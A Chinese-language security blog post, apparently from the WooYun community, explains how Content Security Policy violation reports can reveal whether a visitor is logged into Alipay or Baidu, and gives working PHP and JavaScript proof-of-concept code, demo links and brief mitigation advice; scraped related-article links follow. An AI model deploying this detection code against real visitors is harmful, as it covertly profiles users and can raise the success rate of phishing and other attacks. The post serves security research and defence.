利用CSP探测网站登陆状态
0x00 背景
今天看到zone里有同学发帖说了探测支付宝登录状态的帖子:http://zone.wooyun.org/content/17665
由此我想到了我们parsec的@/fd 半年前提到的一个思路,当时他给出了一个探测twitter是否登录的页面,可是我那个时候才疏学浅,好像一直没理解。这时候返回去看看,就有了这篇文章。
0x01 CSP简介
内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码 <script>
块内容,内联事件,内联样式 ,以及禁止执行eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) 。
CSP更详尽的介绍可以在drops看到:http://drops.wooyun.org/tips/1439
0x02 大环境介绍与原理
简单了解一下CSP,我们知道CSP可以限制网站中可否包含某来源的内容。同时,csp还可以在页面违反规则的时候发送一个数据包,将具体细节通知给服务端。
我们再来想想像支付宝这种集成度很高的网站服务,当我们在未登录的情况下访问alipay的某个子域名(如test.alipay.com),很可能是会302跳转到一个用户登陆专用的域名(如login.alipay.com)下要求用户登录。而在已登录的情况下是不会跳转的。
这就造成了一个登录/未登录的一个差别,主要差别如下:
HTTP状态码(302和200)
最终访问的域名(test.alipay.com和login.alipay.com)
因为浏览器SOP(同源策略)的限制,正常情况下我们是无法获取到alipay域名下HTTP状态码的。
但结合CSP安全策略,我们却可以简单获得第2个,也就是最终访问域名。为什么?
我前面说了CSP是可以限制页面中允许加载哪些来源的内容的。所以,当我们将CSP设置为只接受来源为test.alipay.com的内容,那么当加载来源为login.alipay.com的请求时就会被CSP策略拒绝,并可以将这个访问report给服务端,我们通过report的内容就能判断用户访问的是test还是login。 过程如下:
这就是原理,很赞的一个思路,再次崇拜一次@/fd。
0x03 以支付宝为例编写探测代码
所以,根据上面的思路,我们第一步就是找到一个这样的页面:登录、未登录用户访问时到达的“域名”不相同。这里的“域名”包括protocol和hostname,也就是说http://test.alipay.com和https://test.alipay.com是不同的域名。
像支付宝这种网站有很多这样的页面,因为支付宝的很多服务是登录用户才能查看的,而登录入口又只有那么一个。
比如这个URL:https://my.alipay.com/portal/i.htm,当未登录用户访问的时候会跳转到https://auth.alipay.com/login/index.htm,已登录用户访问时不会跳转。
这时候我们将CSP的img-src限制为https://my.alipay.com,再将https://my.alipay.com/portal/i.htm作为img的src,这个时候就会出现一个有趣的现象:未登录的用户访问时,会触发CSP规则。
因为未登录的用户访问时实际img加载的src是https://auth.alipay.com/login/index.htm,不符合CSP限制的img-src,自然就触发规则了。 这时候我们在设置CSP的report-uri为report.php,不符合规则的请求会被记录下作为日志发送到report.php里:
不过浏览器在发送这个report包的时候是不带cookie的,所以服务器那边并不能直接判断是哪个用户发送的report包,所以我们在report的GET参数里带上用户的session id。
示例代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php session_start(); $ssid = session_id(); header( "Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}" ); ?> <html> <head> <meta charset= "utf-8" /> <title>支付宝登陆检测</title> </head> <body onload= "return check();" > <img src= "https://my.alipay.com/portal/i.htm" > <b id= "result" ></b> <script type= "text/javascript" > function check() { with( new XMLHttpRequest) { open( 'GET' , 'alipay.php' ); send(); onreadystatechange = function () { if (readyState ^ 4) return ; result.innerHTML = parseInt(responseText) > 0 ? '未登录' : '已登录' ; } } } </script> </body> |
report.php用来记录:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php session_start(); if (preg_match( '/^[a-z0-9]*$/i' , $_GET [ 'ssid' ])) { session_id( $_GET [ 'ssid' ]); } else { exit ; } $report = file_get_contents ( "php://input" ); if (! empty ( $report )) { $_SESSION [ 'nologin' ] = 1; } else { $_SESSION [ 'nologin' ] = 0; } ?> |
当接收到php://input的时候说明CSP发送报告了,说明请求违反的CSP规则了,也就意味着用户没有登录,所以将session中的nologin设置为1。 然后在index.php里用一个ajax来向alipay.php请求,实际上就是获得$_SESSION[nologin]的值:
1
2
3
4
5
6
|
<?php session_start(); echo isset( $_SESSION [ 'nologin' ]) ? $_SESSION [ 'nologin' ] : 0; setcookie( 'PHPSESSID' , '' , time() - 10); session_destroy(); ?> |
如上,获取完后将session清除一下,以免影响下一次的判断。
获得值如果为1的话,说明没有登录,如果为0说明已登录,就可以显示出来或做任何其他操作了。
来个演示:http://mhz.pw/game/detect/alipay/
登录支付宝以后访问,显示“已登录”
换个浏览器,直接访问则显示“未登录”:
0x04 由http/https混用造成的问题(百度为例)
同样的问题,不仅仅是支付宝存在,只要有“统一登录入口”的网站都可能出现这个问题,因为统一登录入口通常是一个单独的域名。
还有一种情况,是http和https混用造成的。有些网站的登录页面是https加密传输的,但登陆以后实际的操作页面是走http。
这之间一样存在一个跳转的问题,当我们访问一个登陆后才能看到的页面如http://xxx.com/index,未登录的用户就会跳转到登录页面,如https://xxx.com/login。
在CSP里http和https是完全不同的两个来源,所以也能触发CSP规则。
比如https://passport.baidu.com,这是百度的安全中心。当已登录用户访问的时候会跳转到“安全中心”首页http://passport.baidu.com/center(注意,此处是http):
而未登录用户访问则会跳转到https://passport.baidu.com/v2/?login(这时候是https):
虽然两个域名都是passport.baidu.com,但因为protocol不同,混用的http和https就能够影响CSP的拦截情况。
我们将CSP设置为img-src https://passport.baidu.com ,那么img的src就只接受来源为https://passport.baidu.com的img,那么已登录用户访问的http://passport.baidu.com/center就会被阻止,产生一个CSP报告。记录下这个报告,一样能判断访客是否已登录百度。
测试你是否登录百度:http://mhz.pw/game/detect/baidu/
0x05 影响及防范方法
严格来论,只是判断用户是否登录,这个问题并不算一个漏洞。当时@/fd将问题提交到推特之后推特的回应也是不算漏洞,但确实如果与其他一些漏洞结合使用,会让某些漏洞的成功率提高一大截。所以我们可以将之归为一个“奇技淫巧”。
这个问题更容易出现在一些大型网站、企业网络之中,往往这些网站的统一性和重用性都做的很好,所以往往登录入口只有一个(现在流行一个user center的概念),所以难免会出现一些跳转的问题。有这些跳转,就是探测用户登录的基础。
这个方法还有一个限制,就是用户使用的浏览器需要是现代浏览器,需要支持CSP安全策略。如果你要探测的用户还在用IE6~IE10,那么是肯定不行的。 如何解决这个问题?如果你真的觉得这是个安全问题的话,那么尽量避免跳转,或者使用javascript进行页面的跳转。
利用CSP探测网站登陆状态的更多相关文章
- Python3.6下使用会话session保持登陆状态
本次工具主要利用python easygui模块的inputbox让用户首次输入登陆信息,作为网站requests-post请求的data字段,观察XHR(异步加载)的数据包,构造post请求,利用r ...
- python模拟网站登陆-滑动验证码
普通滑动验证 以http://admin.emaotai.cn/login.aspx为例这类验证码只需要我们将滑块拖动指定位置,处理起来比较简单.拖动之前需要先将滚动条滚动到指定元素位置. impor ...
- IOS开发之记录用户登陆状态
上一篇博客中提到了用CoreData来进行数据的持久化,CoreData的配置和使用步骤还是挺复杂的.但熟悉CoreData的使用流程后,CoreData还是蛮好用的.今天要说的是如何记录我们用户的登 ...
- 在Windows Phone 8中使用Live Connect并保持登陆状态
Live Connect可以让各种客户端访问Live账号.获取好友列表.访问One Drive的文件等,官方地址在此:http://msdn.microsoft.com/zh-cn/live/ff51 ...
- wex5 教程 之 图文讲解 全局可观察变量与登陆状态全局控制
一 先说说,这两个概念是什么意思 全局可观察变量?没听说过,只听过全局变量,那你out了,因为我要充分发挥绑定技术来控制页面部局,组件的隐藏与显示,文字内容,样式改变.看我博文大家知道,我想用绑定技术 ...
- python urllib2 模拟网站登陆
python urllib2 模拟网站登陆 1. 可用浏览器先登陆,然后查看网页源码,分析登录表单 2. 使用python urllib2,cookielib 模拟网页登录 import urllib ...
- JS版本网站资源状态检测
Title:JS版本网站资源状态检测 --2012-08-28 14:08 前几天需要一个网站状态检测的东东,后面写了个蹩脚的JS版本,里面用到了以前没用过的东西,在这里记下来,其实批处理加curl ...
- 利用ThinkPHP搭建网站后台架构
记录一下ThinkPHP搭建网站后台.调整好样式等操作步骤 下载好ThinkPHP(3.2.3),解压后将核心文件夹ThinkPHP以及index.php等文件复制到网站根目录如下图 对index.p ...
- 利用Ihttpmodel实现网站缓存,解决Server.Transfer 直接输出HTML源代码的问题
今天在用.NET利用IHttpModel实现网站静态缓存的时候,不知道最后为什么用 Server.Transfer(html)的时候结果输出的是HTML的源代码. 贴上源代码 using System ...
随机推荐
- OSChina 的全文搜索设计说明 —— 索引过程
http://www.oschina.net/question/12_71591 言: OSChina 的搜索做得并不好,很久之前一直想在细节方面进行改造,一直也没什么好的思路.但作为整体的结构或许对 ...
- 设置Eclipse中文API提示信息
准备工作:下载中文API到本机:http://download.java.net/jdk/jdk-api-localizations/jdk-api-zh-cn/publish/1.6.0/html_ ...
- java中调用js脚本
JDK1.6加入了对Script(JSR223)的支持.这是一个脚本框架,提供了让脚本语言来访问Java内部的方法.你可以在运行的时候找到脚本引擎,然后调用这个引擎去执行脚本.这个脚本API允许你为脚 ...
- eclipse-SDK-3.7-win32;eclipse-java-indigo-win32;eclipse-jee-indigo-win32 区别(ZZ)
eclipse-SDK-3.7-win32:eclipse-java-indigo-win32:eclipse-jee-indigo-win32 三个都是用于win32,即windows系统的32位机 ...
- iOS 数据持久化(1):属性列表与对象归档
@import url(http://i.cnblogs.com/Load.ashx?type=style&file=SyntaxHighlighter.css); @import url(/ ...
- HTML简单介绍及常见元素
<!doctype html> <html> <head> <meta charset="utf-8"> <title> ...
- sizeToFit的用法和用途
最近有遇到过sizeToFit的方法,比较好奇,所以查了点资料 在官方文档中 - (void)sizeToFit; // calls sizeThatFits: with current view b ...
- 第六篇:python高级之网络编程
python高级之网络编程 python高级之网络编程 本节内容 网络通信概念 socket编程 socket模块一些方法 聊天socket实现 远程执行命令及上传文件 socketserver及 ...
- mysql隐藏文件一定要删除彻底
之前部署自己的服务器机器的时候 机器的mysql密码是不知道的.彻底删除了软件之后还是解决不了问题,而且我把MYSQL在C盘的隐藏文件也给删除了.但是还是不行 最后我偶然发现一个方法去找隐藏问题.我之 ...
- Quartz.NET配置(Log4net)
最近有个任务关于服务调度,想起以前看过Quartz.NET调度任务非常棒. 今天小试Quartz.NET,前面配置Quartz.NET很轻松,控制台也输出了.但是想配合Log4net来做日志文件,怎么 ...